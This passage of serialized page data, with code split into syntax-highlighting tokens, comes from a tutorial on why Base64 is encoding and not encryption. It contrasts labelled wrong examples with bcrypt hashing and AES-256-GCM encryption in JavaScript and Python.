\"sk_live_1234567890abcdef\";\nconst encoded = btoa(apiKey);\nconsole.log(encoded); \u002F\u002F c2tfbGl2ZV8xMjM0NTY3ODkwYWJjZGVm\n\n\u002F\u002F \"Decrypting\" (anyone can do this!)\nconst decoded = atob(encoded);\nconsole.log(decoded); \u002F\u002F sk_live_1234567890abcdef ← Exposed!\n",[143,259754,259755,259760,259773,259786,259797,259801,259806,259819],{"__ignoreMap":141},[1560,259756,259757],{"class":1562,"line":1563},[1560,259758,259759],{"class":1649},"\u002F\u002F \"Encrypting\" with Base64 (WRONG!)\n",[1560,259761,259762,259764,259766,259768,259771],{"class":1562,"line":337},[1560,259763,8180],{"class":1669},[1560,259765,23267],{"class":1576},[1560,259767,8186],{"class":1669},[1560,259769,259770],{"class":5634}," \"sk_live_1234567890abcdef\"",[1560,259772,2228],{"class":1570},[1560,259774,259775,259777,259779,259781,259783],{"class":1562,"line":343},[1560,259776,8180],{"class":1669},[1560,259778,22961],{"class":1576},[1560,259780,8186],{"class":1669},[1560,259782,43090],{"class":1566},[1560,259784,259785],{"class":1570},"(apiKey);\n",[1560,259787,259788,259790,259792,259794],{"class":1562,"line":365},[1560,259789,8211],{"class":1570},[1560,259791,8214],{"class":1566},[1560,259793,33774],{"class":1570},[1560,259795,259796],{"class":1649},"\u002F\u002F c2tfbGl2ZV8xMjM0NTY3ODkwYWJjZGVm\n",[1560,259798,259799],{"class":1562,"line":889},[1560,259800,1702],{"emptyLinePlaceholder":363},[1560,259802,259803],{"class":1562,"line":1710},[1560,259804,259805],{"class":1649},"\u002F\u002F \"Decrypting\" (anyone can do this!)\n",[1560,259807,259808,259810,259812,259814,259816],{"class":1562,"line":1717},[1560,259809,8180],{"class":1669},[1560,259811,22986],{"class":1576},[1560,259813,8186],{"class":1669},[1560,259815,259688],{"class":1566},[1560,259817,259818],{"class":1570},"(encoded);\n",[1560,259820,259821,259823,259825,259827],{"class":1562,"line":1747},[1560,259822,8211],{"class":1570},[1560,259824,8214],{"class":1566},[1560,259826,259700],{"class":1570},[1560,259828,259829],{"class":1649},"\u002F\u002F sk_live_1234567890abcdef ← Exposed!\n",[16,259831,259832],{},"With real encryption, you need a secret key:",[135,259834,259836],{"className":1607,"code":259835,"language":1609,"meta":141,"style":141},"\u002F\u002F Real encryption with AES-256-GCM\nconst crypto = require('crypto');\n\nfunction encrypt(text, key) {\n  const iv = crypto.randomBytes(16);\n  const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);\n  const encrypted = Buffer.concat([cipher.update(text, 'utf8'), cipher.final()]);\n  const tag = cipher.getAuthTag();\n  return Buffer.concat([iv, tag, encrypted]).toString('base64');\n}\n\nfunction decrypt(encryptedBase64, key) {\n  const data = Buffer.from(encryptedBase64, 'base64');\n  const iv = data.slice(0, 16);\n  const tag = data.slice(16, 32);\n  const encrypted = data.slice(32);\n  const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);\n  decipher.setAuthTag(tag);\n  return decipher.update(encrypted) + decipher.final('utf8');\n}\n\nconst key = crypto.randomBytes(32); \u002F\u002F Secret key (keep safe!)\nconst encrypted = encrypt('SecretData', key);\nconsole.log(encrypted); \u002F\u002F Looks random, cannot be decoded without key\n\nconst decrypted = decrypt(encrypted, key);\nconsole.log(decrypted); \u002F\u002F \"SecretData\" ← Only with correct key\n",[143,259837,259838,259843,259859,259863,259879,259897,259915,259946,259960,259979,259983,259987,260004,260023,260046,260068,260086,260104,260113,260136,260140,260144,260165,260183,260195,260199,260212],{"__ignoreMap":141},[1560,259839,259840],{"class":1562,"line":1563},[1560,259841,259842],{"class":1649},"\u002F\u002F Real encryption with AES-256-GCM\n",[1560,259844,259845,259847,259849,259851,259853,259855,259857],{"class":1562,"line":337},[1560,259846,8180],{"class":1669},[1560,259848,41881],{"class":1576},[1560,259850,8186],{"class":1669},[1560,259852,20658],{"class":1566},[1560,259854,1688],{"class":1570},[1560,259856,41890],{"class":5634},[1560,259858,1744],{"class":1570},[1560,259860,259861],{"class":1562,"line":343},[1560,259862,1702],{"emptyLinePlaceholder":363},[1560,259864,259865,259867,259869,259871,259873,259875,259877],{"class":1562,"line":365},[1560,259866,8648],{"class":1669},[1560,259868,238218],{"class":1566},[1560,259870,1688],{"class":1570},[1560,259872,140],{"class":2219},[1560,259874,1459],{"class":1570},[1560,259876,39098],{"class":2219},[1560,259878,9345],{"class":1570},[1560,259880,259881,259883,259885,259887,259889,259891,259893,259895],{"class":1562,"line":889},[1560,259882,28057],{"class":1669},[1560,259884,237726],{"class":1576},[1560,259886,8186],{"class":1669},[1560,259888,41913],{"class":1570},[1560,259890,41916],{"class":1566},[1560,259892,1688],{"class":1570},[1560,259894,10057],{"class":1576},[1560,259896,1744],{"class":1570},[1560,259898,259899,259901,259903,259905,259907,259909,259911,259913],{"class":1562,"line":1710},[1560,259900,28057],{"class":1669},[1560,259902,237749],{"class":1576},[1560,259904,8186],{"class":1669},[1560,259906,41913],{"class":1570},[1560,259908,237756],{"class":1566},[1560,259910,1688],{"class":1570},[1560,259912,237761],{"class":5634},[1560,259914,237764],{"class":1570},[1560,259916,259917,259919,259921,259923,259926,259929,259932,259934,259936,259938,259941,259943],{"class":1562,"line":1717},[1560,259918,28057],{"class":1669},[1560,259920,237771],{"class":1576},[1560,259922,8186],{"class":1669},[1560,259924,259925],{"class":1570}," Buffer.",[1560,259927,259928],{"class":1566},"concat",[1560,259930,259931],{"class":1570},"([cipher.",[1560,259933,151608],{"class":1566},[1560,259935,22902],{"class":1570},[1560,259937,154602],{"class":5634},[1560,259939,259940],{"class":1570},"), cipher.",[1560,259942,237799],{"class":1566},[1560,259944,259945],{"class":1570},"()]);\n",[1560,259947,259948,259950,259952,259954,259956,259958],{"class":1562,"line":1747},[1560,259949,28057],{"class":1669},[1560,259951,119896],{"class":1576},[1560,259953,8186],{"class":1669},[1560,259955,237776],{"class":1570},[1560,259957,237841],{"class":1566},[1560,259959,90158],{"class":1570},[1560,259961,259962,259964,259966,259968,259971,259973,259975,259977],{"class":1562,"line":2507},[1560,259963,9350],{"class":1669},[1560,259965,259925],{"class":1570},[1560,259967,259928],{"class":1566},[1560,259969,259970],{"class":1570},"([iv, tag, encrypted]).",[1560,259972,10052],{"class":1566},[1560,259974,1688],{"class":1570},[1560,259976,131045],{"class":5634},[1560,259978,1744],{"class":1570},[1560,259980,259981],{"class":1562,"line":2524},[1560,259982,1585],{"class":1570},[1560,259984,259985],{"class":1562,"line":2529},[1560,259986,1702],{"emptyLinePlaceholder":363},[1560,259988,259989,259991,259993,259995,259998,260000,260002],{"class":1562,"line":2534},[1560,259990,8648],{"class":1669},[1560,259992,238242],{"class":1566},[1560,259994,1688],{"class":1570},[1560,259996,259997],{"class":2219},"encryptedBase64",[1560,259999,1459],{"class":1570},[1560,260001,39098],{"class":2219},[1560,260003,9345],{"class":1570},[1560,260005,260006,260008,260010,260012,260014,260016,260019,260021],{"class":1562,"line":2542},[1560,260007,28057],{"class":1669},[1560,260009,229483],{"class":1576},[1560,260011,8186],{"class":1669},[1560,260013,259925],{"class":1570},[1560,260015,8168],{"class":1566},[1560,260017,260018],{"class":1570},"(encryptedBase64, ",[1560,260020,131045],{"class":5634},[1560,260022,1744],{"class":1570},[1560,260024,260025,260027,260029,260031,260034,260036,260038,260040,260042,260044],{"class":1562,"line":2558},[1560,260026,28057],{"class":1669},[1560,260028,237726],{"class":1576},[1560,260030,8186],{"class":1669},[1560,260032,260033],{"class":1570}," data.",[1560,260035,38951],{"class":1566},[1560,260037,1688],{"class":1570},[1560,260039,5285],{"class":1576},[1560,260041,1459],{"class":1570},[1560,260043,10057],{"class":1576},[1560,260045,1744],{"class":1570},[1560,260047,260048,260050,260052,260054,260056,260058,260060,260062,260064,260066],{"class":1562,"line":2570},[1560,260049,28057],{"class":1669},[1560,260051,119896],{"class":1576},[1560,260053,8186],{"class":1669},[1560,260055,260033],{"class":1570},[1560,260057,38951],{"class":1566},[1560,260059,1688],{"class":1570},[1560,260061,10057],{"class":1576},[1560,260063,1459],{"class":1570},[1560,260065,36042],{"class":1576},[1560,260067,1744],{"class":1570},[1560,260069,260070,260072,260074,260076,260078,260080,260082,260084],{"class":1562,"line":6638},[1560,260071,28057],{"class":1669},[1560,260073,237771],{"class":1576},[1560,260075,8186],{"class":1669},[1560,260077,260033],{"class":1570},[1560,260079,38951],{"class":1566},[1560,260081,1688],{"class":1570},[1560,260083,36042],{"class":1576},[1560,260085,1744],{"class":1570},[1560,260087,260088,260090,260092,260094,260096,260098,260100,260102],{"class":1562,"line":11615},[1560,260089,28057],{"class":1669},[1560,260091,237850],{"class":1576},[1560,260093,8186],{"class":1669},[1560,260095,41913],{"class":1570},[1560,260097,237857],{"class":1566},[1560,260099,1688],{"class":1570},[1560,260101,237761],{"class":5634},[1560,260103,237764],{"class":1570},[1560,260105,260106,260109,260111],{"class":1562,"line":11621},[1560,260107,260108],{"class":1570},"  decipher.",[1560,260110,237871],{"class":1566},[1560,260112,237874],{"class":1570},[1560,260114,260115,260117,260119,260121,260124,260126,260128,260130,260132,260134],{"class":1562,"line":11633},[1560,260116,9350],{"class":1669},[1560,260118,237886],{"class":1570},[1560,260120,151608],{"class":1566},[1560,260122,260123],{"class":1570},"(encrypted) ",[1560,260125,9448],{"class":1669},[1560,260127,237886],{"class":1570},[1560,260129,237799],{"class":1566},[1560,260131,1688],{"class":1570},[1560,260133,154602],{"class":5634},[1560,260135,1744],{"class":1570},[1560,260137,260138],{"class":1562,"line":11638},[1560,260139,1585],{"class":1570},[1560,260141,260142],{"class":1562,"line":11672},[1560,260143,1702],{"emptyLinePlaceholder":363},[1560,260145,260146,260148,260150,260152,260154,260156,260158,260160,260162],{"class":1562,"line":19435},[1560,260147,8180],{"class":1669},[1560,260149,90481],{"class":1576},[1560,260151,8186],{"class":1669},[1560,260153,41913],{"class":1570},[1560,260155,41916],{"class":1566},[1560,260157,1688],{"class":1570},[1560,260159,36042],{"class":1576},[1560,260161,5171],{"class":1570},[1560,260163,260164],{"class":1649},"\u002F\u002F Secret key (keep safe!)\n",[1560,260166,260167,260169,260171,260173,260175,260177,260180],{"class":1562,"line":19442},[1560,260168,8180],{"class":1669},[1560,260170,237771],{"class":1576},[1560,260172,8186],{"class":1669},[1560,260174,238218],{"class":1566},[1560,260176,1688],{"class":1570},[1560,260178,260179],{"class":5634},"'SecretData'",[1560,260181,260182],{"class":1570},", key);\n",[1560,260184,260185,260187,260189,260192],{"class":1562,"line":19475},[1560,260186,8211],{"class":1570},[1560,260188,8214],{"class":1566},[1560,260190,260191],{"class":1570},"(encrypted); ",[1560,260193,260194],{"class":1649},"\u002F\u002F Looks random, cannot be decoded without key\n",[1560,260196,260197],{"class":1562,"line":19508},[1560,260198,1702],{"emptyLinePlaceholder":363},[1560,260200,260201,260203,260205,260207,260209],{"class":1562,"line":44196},[1560,260202,8180],{"class":1669},[1560,260204,237881],{"class":1576},[1560,260206,8186],{"class":1669},[1560,260208,238242],{"class":1566},[1560,260210,260211],{"class":1570},"(encrypted, key);\n",[1560,260213,260214,260216,260218,260221],{"class":1562,"line":44203},[1560,260215,8211],{"class":1570},[1560,260217,8214],{"class":1566},[1560,260219,260220],{"class":1570},"(decrypted); ",[1560,260222,260223],{"class":1649},"\u002F\u002F \"SecretData\" ← Only with correct key\n",[33,260225,260227],{"id":260226},"_2-base64-is-standardized-and-well-known","2. Base64 is Standardized and Well-Known",[16,260229,260230],{},"The Base64 alphabet is public knowledge. There's no \"secret\" to how it works:",[135,260232,260234],{"className":8259,"code":260233,"language":8261,"meta":141,"style":141},"import base64\n\n# Anyone can do this\nencoded = base64.b64encode(b\"password123\")\nprint(encoded)  # cGFzc3dvcmQxMjM=\n\ndecoded = base64.b64decode(encoded)\nprint(decoded)  # b'password123'  \u003C- Exposed immediately\n",[143,260235,260236,260241,260245,260250,260255,260260,260264,260269],{"__ignoreMap":141},[1560,260237,260238],{"class":1562,"line":1563},[1560,260239,260240],{},"import base64\n",[1560,260242,260243],{"class":1562,"line":337},[1560,260244,1702],{"emptyLinePlaceholder":363},[1560,260246,260247],{"class":1562,"line":343},[1560,260248,260249],{},"# Anyone can do this\n",[1560,260251,260252],{"class":1562,"line":365},[1560,260253,260254],{},"encoded = base64.b64encode(b\"password123\")\n",[1560,260256,260257],{"class":1562,"line":889},[1560,260258,260259],{},"print(encoded)  # cGFzc3dvcmQxMjM=\n",[1560,260261,260262],{"class":1562,"line":1710},[1560,260263,1702],{"emptyLinePlaceholder":363},[1560,260265,260266],{"class":1562,"line":1717},[1560,260267,260268],{},"decoded = base64.b64decode(encoded)\n",[1560,260270,260271],{"class":1562,"line":1747},[1560,260272,260273],{},"print(decoded)  # b'password123'  \u003C- Exposed immediately\n",[33,260275,260277],{"id":260276},"_3-base64-is-designed-for-compatibility-not-security","3. Base64 is Designed for Compatibility, Not Security",[16,260279,260280,260281,260284],{},"Base64 exists to solve a ",[47,260282,260283],{},"data representation problem",", not a security problem:",[41,260286,260287,260290,260293,260296],{},[44,260288,260289],{},"Email attachments (MIME) need text format",[44,260291,260292],{},"JSON cannot contain raw binary",[44,260294,260295],{},"URLs cannot contain certain characters",[44,260297,260298],{},"Data URIs need ASCII representation",[16,260300,260301],{},"None of these use cases involve hiding data from unauthorized viewers.",[11,260303,260305],{"id":260304},"common-misconceptions-and-dangerous-practices","Common Misconceptions and Dangerous Practices",[33,260307,260309],{"id":260308},"storing-encrypted-passwords-with-base64","❌ Storing \"Encrypted\" Passwords with Base64",[135,260311,260313],{"className":1607,"code":260312,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG: This is NOT password encryption!\nconst password = \"user_password\";\nconst stored = btoa(password); \u002F\u002F Store in database\n\u002F\u002F Later...\nconst retrieved = atob(stored); \u002F\u002F \"user_password\" ← Exposed!\n\n\u002F\u002F CORRECT: Use a password hashing function\nconst bcrypt = require('bcrypt');\nconst hashedPassword = await bcrypt.hash(password, 12);\n\u002F\u002F Store hashedPassword (cannot be reversed)\n",[143,260314,260315,260320,260333,260350,260355,260372,260376,260381,260397,260418],{"__ignoreMap":141},[1560,260316,260317],{"class":1562,"line":1563},[1560,260318,260319],{"class":1649},"\u002F\u002F WRONG: This is NOT password encryption!\n",[1560,260321,260322,260324,260326,260328,260331],{"class":1562,"line":337},[1560,260323,8180],{"class":1669},[1560,260325,255206],{"class":1576},[1560,260327,8186],{"class":1669},[1560,260329,260330],{"class":5634}," \"user_password\"",[1560,260332,2228],{"class":1570},[1560,260334,260335,260337,260340,260342,260344,260347],{"class":1562,"line":343},[1560,260336,8180],{"class":1669},[1560,260338,260339],{"class":1576}," stored",[1560,260341,8186],{"class":1669},[1560,260343,43090],{"class":1566},[1560,260345,260346],{"class":1570},"(password); ",[1560,260348,260349],{"class":1649},"\u002F\u002F Store in database\n",[1560,260351,260352],{"class":1562,"line":365},[1560,260353,260354],{"class":1649},"\u002F\u002F Later...\n",[1560,260356,260357,260359,260362,260364,260366,260369],{"class":1562,"line":889},[1560,260358,8180],{"class":1669},[1560,260360,260361],{"class":1576}," retrieved",[1560,260363,8186],{"class":1669},[1560,260365,259688],{"class":1566},[1560,260367,260368],{"class":1570},"(stored); ",[1560,260370,260371],{"class":1649},"\u002F\u002F \"user_password\" ← Exposed!\n",[1560,260373,260374],{"class":1562,"line":1710},[1560,260375,1702],{"emptyLinePlaceholder":363},[1560,260377,260378],{"class":1562,"line":1717},[1560,260379,260380],{"class":1649},"\u002F\u002F CORRECT: Use a password hashing function\n",[1560,260382,260383,260385,260387,260389,260391,260393,260395],{"class":1562,"line":1747},[1560,260384,8180],{"class":1669},[1560,260386,151636],{"class":1576},[1560,260388,8186],{"class":1669},[1560,260390,20658],{"class":1566},[1560,260392,1688],{"class":1570},[1560,260394,151645],{"class":5634},[1560,260396,1744],{"class":1570},[1560,260398,260399,260401,260404,260406,260408,260410,260412,260414,260416],{"class":1562,"line":2507},[1560,260400,8180],{"class":1669},[1560,260402,260403],{"class":1576}," hashedPassword",[1560,260405,8186],{"class":1669},[1560,260407,28065],{"class":1669},[1560,260409,151660],{"class":1570},[1560,260411,151663],{"class":1566},[1560,260413,151666],{"class":1570},[1560,260415,13566],{"class":1576},[1560,260417,1744],{"class":1570},[1560,260419,260420],{"class":1562,"line":2524},[1560,260421,260422],{"class":1649},"\u002F\u002F Store hashedPassword (cannot be reversed)\n",[33,260424,260426],{"id":260425},"hiding-api-keys-in-client-side-code","❌ Hiding API Keys in Client-Side Code",[135,260428,260430],{"className":1607,"code":260429,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG: Base64 doesn't hide anything in shipped code!\nconst encodedKey = btoa(\"sk_live_12345\");\n\u002F\u002F Anyone can open DevTools, see this, and decode it\n\n\u002F\u002F CORRECT: Keep API keys on the server side\n\u002F\u002F Client sends request → Server uses API key → Returns result\n",[143,260431,260432,260437,260455,260460,260464,260469],{"__ignoreMap":141},[1560,260433,260434],{"class":1562,"line":1563},[1560,260435,260436],{"class":1649},"\u002F\u002F WRONG: Base64 doesn't hide anything in shipped code!\n",[1560,260438,260439,260441,260444,260446,260448,260450,260453],{"class":1562,"line":337},[1560,260440,8180],{"class":1669},[1560,260442,260443],{"class":1576}," encodedKey",[1560,260445,8186],{"class":1669},[1560,260447,43090],{"class":1566},[1560,260449,1688],{"class":1570},[1560,260451,260452],{"class":5634},"\"sk_live_12345\"",[1560,260454,1744],{"class":1570},[1560,260456,260457],{"class":1562,"line":343},[1560,260458,260459],{"class":1649},"\u002F\u002F Anyone can open DevTools, see this, and decode it\n",[1560,260461,260462],{"class":1562,"line":365},[1560,260463,1702],{"emptyLinePlaceholder":363},[1560,260465,260466],{"class":1562,"line":889},[1560,260467,260468],{"class":1649},"\u002F\u002F CORRECT: Keep API keys on the server side\n",[1560,260470,260471],{"class":1562,"line":1710},[1560,260472,260473],{"class":1649},"\u002F\u002F Client sends request → Server uses API key → Returns result\n",[33,260475,260477],{"id":260476},"encrypting-jwt-secrets-with-base64","❌ \"Encrypting\" JWT Secrets with Base64",[135,260479,260481],{"className":1607,"code":260480,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG: Base64 is not encryption!\nconst fakeSecret = btoa(\"my-secret-key\"); \u002F\u002F Anyone can decode!\n\n\u002F\u002F CORRECT: Use a strong, random secret (never encode with Base64 for security)\nconst realSecret = crypto.randomBytes(32).toString('hex'); \u002F\u002F 256-bit random key\n",[143,260482,260483,260488,260509,260513,260518],{"__ignoreMap":141},[1560,260484,260485],{"class":1562,"line":1563},[1560,260486,260487],{"class":1649},"\u002F\u002F WRONG: Base64 is not encryption!\n",[1560,260489,260490,260492,260495,260497,260499,260501,260504,260506],{"class":1562,"line":337},[1560,260491,8180],{"class":1669},[1560,260493,260494],{"class":1576}," fakeSecret",[1560,260496,8186],{"class":1669},[1560,260498,43090],{"class":1566},[1560,260500,1688],{"class":1570},[1560,260502,260503],{"class":5634},"\"my-secret-key\"",[1560,260505,5171],{"class":1570},[1560,260507,260508],{"class":1649},"\u002F\u002F Anyone can decode!\n",[1560,260510,260511],{"class":1562,"line":343},[1560,260512,1702],{"emptyLinePlaceholder":363},[1560,260514,260515],{"class":1562,"line":365},[1560,260516,260517],{"class":1649},"\u002F\u002F CORRECT: Use a strong, random secret (never encode with Base64 for security)\n",[1560,260519,260520,260522,260525,260527,260529,260531,260533,260535,260537,260539,260541,260543,260545],{"class":1562,"line":889},[1560,260521,8180],{"class":1669},[1560,260523,260524],{"class":1576}," realSecret",[1560,260526,8186],{"class":1669},[1560,260528,41913],{"class":1570},[1560,260530,41916],{"class":1566},[1560,260532,1688],{"class":1570},[1560,260534,36042],{"class":1576},[1560,260536,9368],{"class":1570},[1560,260538,10052],{"class":1566},[1560,260540,1688],{"class":1570},[1560,260542,41938],{"class":5634},[1560,260544,5171],{"class":1570},[1560,260546,260547],{"class":1649},"\u002F\u002F 256-bit random key\n",[11,260549,260551],{"id":260550},"when-base64-is-actually-appropriate","When Base64 is Actually Appropriate",[16,260553,260554],{},"Base64 has many legitimate uses — just not for security:",[33,260556,260558],{"id":260557},"legitimate-uses","✅ Legitimate Uses",[16,260560,260561],{},[47,260562,260563],{},"1. Data URIs (embedding images)",[135,260565,260567],{"className":6417,"code":260566,"language":6419,"meta":141,"style":141},"\u003Cimg src=\"data:image\u002Fpng;base64,iVBORw0KGgo...\">\n",[143,260568,260569],{"__ignoreMap":141},[1560,260570,260571,260573,260575,260577,260579,260582],{"class":1562,"line":1563},[1560,260572,6431],{"class":1570},[1560,260574,10628],{"class":2484},[1560,260576,10631],{"class":1566},[1560,260578,7297],{"class":1570},[1560,260580,260581],{"class":5634},"\"data:image\u002Fpng;base64,iVBORw0KGgo...\"",[1560,260583,6441],{"class":1570},[16,260585,260586],{},[47,260587,260588],{},"2. JWT Payload Encoding",[135,260590,260592],{"className":1607,"code":260591,"language":1609,"meta":141,"style":141},"\u002F\u002F JWT uses Base64URL for data representation, not security\nconst payload = { userId: 123, exp: 1234567890 };\nconst encoded = btoa(JSON.stringify(payload)); \u002F\u002F Just encoding, not encrypting\n",[143,260593,260594,260599,260620],{"__ignoreMap":141},[1560,260595,260596],{"class":1562,"line":1563},[1560,260597,260598],{"class":1649},"\u002F\u002F JWT uses Base64URL for data representation, not security\n",[1560,260600,260601,260603,260605,260607,260610,260612,260615,260618],{"class":1562,"line":337},[1560,260602,8180],{"class":1669},[1560,260604,89941],{"class":1576},[1560,260606,8186],{"class":1669},[1560,260608,260609],{"class":1570}," { userId: ",[1560,260611,137937],{"class":1576},[1560,260613,260614],{"class":1570},", exp: ",[1560,260616,260617],{"class":1576},"1234567890",[1560,260619,131020],{"class":1570},[1560,260621,260622,260624,260626,260628,260630,260632,260634,260636,260638,260641],{"class":1562,"line":343},[1560,260623,8180],{"class":1669},[1560,260625,22961],{"class":1576},[1560,260627,8186],{"class":1669},[1560,260629,43090],{"class":1566},[1560,260631,1688],{"class":1570},[1560,260633,13411],{"class":1576},[1560,260635,468],{"class":1570},[1560,260637,82298],{"class":1566},[1560,260639,260640],{"class":1570},"(payload)); ",[1560,260642,260643],{"class":1649},"\u002F\u002F Just encoding, not encrypting\n",[16,260645,260646],{},[47,260647,260648],{},"3. Email Attachments (MIME)",[135,260650,260653],{"className":260651,"code":260652,"language":97853,"meta":141,"style":141},"language-email shiki shiki-themes github-light github-dark","Content-Type: image\u002Fpng\nContent-Transfer-Encoding: base64\n\niVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAA...\n",[143,260654,260655,260660,260665,260669],{"__ignoreMap":141},[1560,260656,260657],{"class":1562,"line":1563},[1560,260658,260659],{},"Content-Type: image\u002Fpng\n",[1560,260661,260662],{"class":1562,"line":337},[1560,260663,260664],{},"Content-Transfer-Encoding: base64\n",[1560,260666,260667],{"class":1562,"line":343},[1560,260668,1702],{"emptyLinePlaceholder":363},[1560,260670,260671],{"class":1562,"line":365},[1560,260672,260673],{},"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAA...\n",[16,260675,260676],{},[47,260677,260678],{},"4. Binary Data in JSON",[135,260680,260682],{"className":23484,"code":260681,"language":23486,"meta":141,"style":141},"{\n  \"filename\": \"image.png\",\n  \"data\": \"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAA...\"\n}\n",[143,260683,260684,260688,260700,260710],{"__ignoreMap":141},[1560,260685,260686],{"class":1562,"line":1563},[1560,260687,23493],{"class":1570},[1560,260689,260690,260693,260695,260698],{"class":1562,"line":337},[1560,260691,260692],{"class":1576},"  \"filename\"",[1560,260694,1663],{"class":1570},[1560,260696,260697],{"class":5634},"\"image.png\"",[1560,260699,11943],{"class":1570},[1560,260701,260702,260705,260707],{"class":1562,"line":343},[1560,260703,260704],{"class":1576},"  \"data\"",[1560,260706,1663],{"class":1570},[1560,260708,260709],{"class":5634},"\"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAA...\"\n",[1560,260711,260712],{"class":1562,"line":365},[1560,260713,1585],{"class":1570},[11,260715,260717],{"id":260716},"how-to-actually-protect-data","How to Actually Protect Data",[33,260719,260721],{"id":260720},"_1-password-hashing-one-way","1. Password Hashing (One-Way)",[16,260723,260724],{},"For storing passwords, use a cryptographic hash function designed for passwords:",[135,260726,260728],{"className":1607,"code":260727,"language":1609,"meta":141,"style":141},"const bcrypt = require('bcrypt');\n\n\u002F\u002F Hash the password (one-way, cannot be reversed)\nconst password = \"user_password\";\nconst hash = await bcrypt.hash(password, 12); \u002F\u002F Salt included automatically\n\n\u002F\u002F Verify password (compare, don't decrypt)\nconst isMatch = await bcrypt.compare(\"user_password\", hash); \u002F\u002F true\nconst isWrong = await bcrypt.compare(\"wrong_password\", hash); \u002F\u002F false\n",[143,260729,260730,260746,260750,260755,260767,260790,260794,260799,260824],{"__ignoreMap":141},[1560,260731,260732,260734,260736,260738,260740,260742,260744],{"class":1562,"line":1563},[1560,260733,8180],{"class":1669},[1560,260735,151636],{"class":1576},[1560,260737,8186],{"class":1669},[1560,260739,20658],{"class":1566},[1560,260741,1688],{"class":1570},[1560,260743,151645],{"class":5634},[1560,260745,1744],{"class":1570},[1560,260747,260748],{"class":1562,"line":337},[1560,260749,1702],{"emptyLinePlaceholder":363},[1560,260751,260752],{"class":1562,"line":343},[1560,260753,260754],{"class":1649},"\u002F\u002F Hash the password (one-way, cannot be reversed)\n",[1560,260756,260757,260759,260761,260763,260765],{"class":1562,"line":365},[1560,260758,8180],{"class":1669},[1560,260760,255206],{"class":1576},[1560,260762,8186],{"class":1669},[1560,260764,260330],{"class":5634},[1560,260766,2228],{"class":1570},[1560,260768,260769,260771,260773,260775,260777,260779,260781,260783,260785,260787],{"class":1562,"line":889},[1560,260770,8180],{"class":1669},[1560,260772,151591],{"class":1576},[1560,260774,8186],{"class":1669},[1560,260776,28065],{"class":1669},[1560,260778,151660],{"class":1570},[1560,260780,151663],{"class":1566},[1560,260782,151666],{"class":1570},[1560,260784,13566],{"class":1576},[1560,260786,5171],{"class":1570},[1560,260788,260789],{"class":1649},"\u002F\u002F Salt included automatically\n",[1560,260791,260792],{"class":1562,"line":1710},[1560,260793,1702],{"emptyLinePlaceholder":363},[1560,260795,260796],{"class":1562,"line":1717},[1560,260797,260798],{"class":1649},"\u002F\u002F Verify password (compare, don't decrypt)\n",[1560,260800,260801,260803,260806,260808,260810,260812,260814,260816,260819,260822],{"class":1562,"line":1747},[1560,260802,8180],{"class":1669},[1560,260804,260805],{"class":1576}," isMatch",[1560,260807,8186],{"class":1669},[1560,260809,28065],{"class":1669},[1560,260811,151660],{"class":1570},[1560,260813,157915],{"class":1566},[1560,260815,1688],{"class":1570},[1560,260817,260818],{"class":5634},"\"user_password\"",[1560,260820,260821],{"class":1570},", hash); ",[1560,260823,101150],{"class":1649},[1560,260825,260826,260828,260830,260832,260834,260836,260838,260840,260843,260845],{"class":1562,"line":2507},[1560,260827,8180],{"class":1669},[1560,260829,238129],{"class":1576},[1560,260831,8186],{"class":1669},[1560,260833,28065],{"class":1669},[1560,260835,151660],{"class":1570},[1560,260837,157915],{"class":1566},[1560,260839,1688],{"class":1570},[1560,260841,260842],{"class":5634},"\"wrong_password\"",[1560,260844,260821],{"class":1570},[1560,260846,238147],{"class":1649},[16,260848,260849],{},[47,260850,260851],{},"Recommended algorithms (2026):",[77,260853,260854,260859,260864],{},[44,260855,260856,260858],{},[47,260857,250751],{}," (best)",[44,260860,260861,260863],{},[47,260862,152191],{}," (widely supported)",[44,260865,260866,260868],{},[47,260867,152203],{}," (good alternative)",[33,260870,260872],{"id":260871},"_2-symmetric-encryption-two-way-same-key","2. Symmetric Encryption (Two-Way, Same Key)",[16,260874,260875],{},"For data you need to encrypt and decrypt:",[135,260877,260879],{"className":1607,"code":260878,"language":1609,"meta":141,"style":141},"const crypto = require('crypto');\n\nfunction encryptSymmetric(text, key) {\n  const iv = crypto.randomBytes(16);\n  const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);\n  const encrypted = cipher.update(text, 'utf8', 'hex') + cipher.final('hex');\n  const tag = cipher.getAuthTag();\n  return iv.toString('hex') + ':' + tag.toString('hex') + ':' + encrypted;\n}\n\nfunction decryptSymmetric(encrypted, key) {\n  const parts = encrypted.split(':');\n  const iv = Buffer.from(parts[0], 'hex');\n  const tag = Buffer.from(parts[1], 'hex');\n  const encryptedText = parts[2];\n  const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);\n  decipher.setAuthTag(tag);\n  return decipher.update(encryptedText, 'hex', 'utf8') + decipher.final('utf8');\n}\n\nconst key = crypto.randomBytes(32); \u002F\u002F Keep this secret!\nconst encrypted = encryptSymmetric(\"Secret data\", key);\nconst decrypted = decryptSymmetric(encrypted, key);\n",[143,260880,260881,260897,260901,260918,260936,260954,260988,261002,261044,261048,261052,261070,261089,261112,261134,261150,261168,261176,261207,261211,261215,261236,261253],{"__ignoreMap":141},[1560,260882,260883,260885,260887,260889,260891,260893,260895],{"class":1562,"line":1563},[1560,260884,8180],{"class":1669},[1560,260886,41881],{"class":1576},[1560,260888,8186],{"class":1669},[1560,260890,20658],{"class":1566},[1560,260892,1688],{"class":1570},[1560,260894,41890],{"class":5634},[1560,260896,1744],{"class":1570},[1560,260898,260899],{"class":1562,"line":337},[1560,260900,1702],{"emptyLinePlaceholder":363},[1560,260902,260903,260905,260908,260910,260912,260914,260916],{"class":1562,"line":343},[1560,260904,8648],{"class":1669},[1560,260906,260907],{"class":1566}," 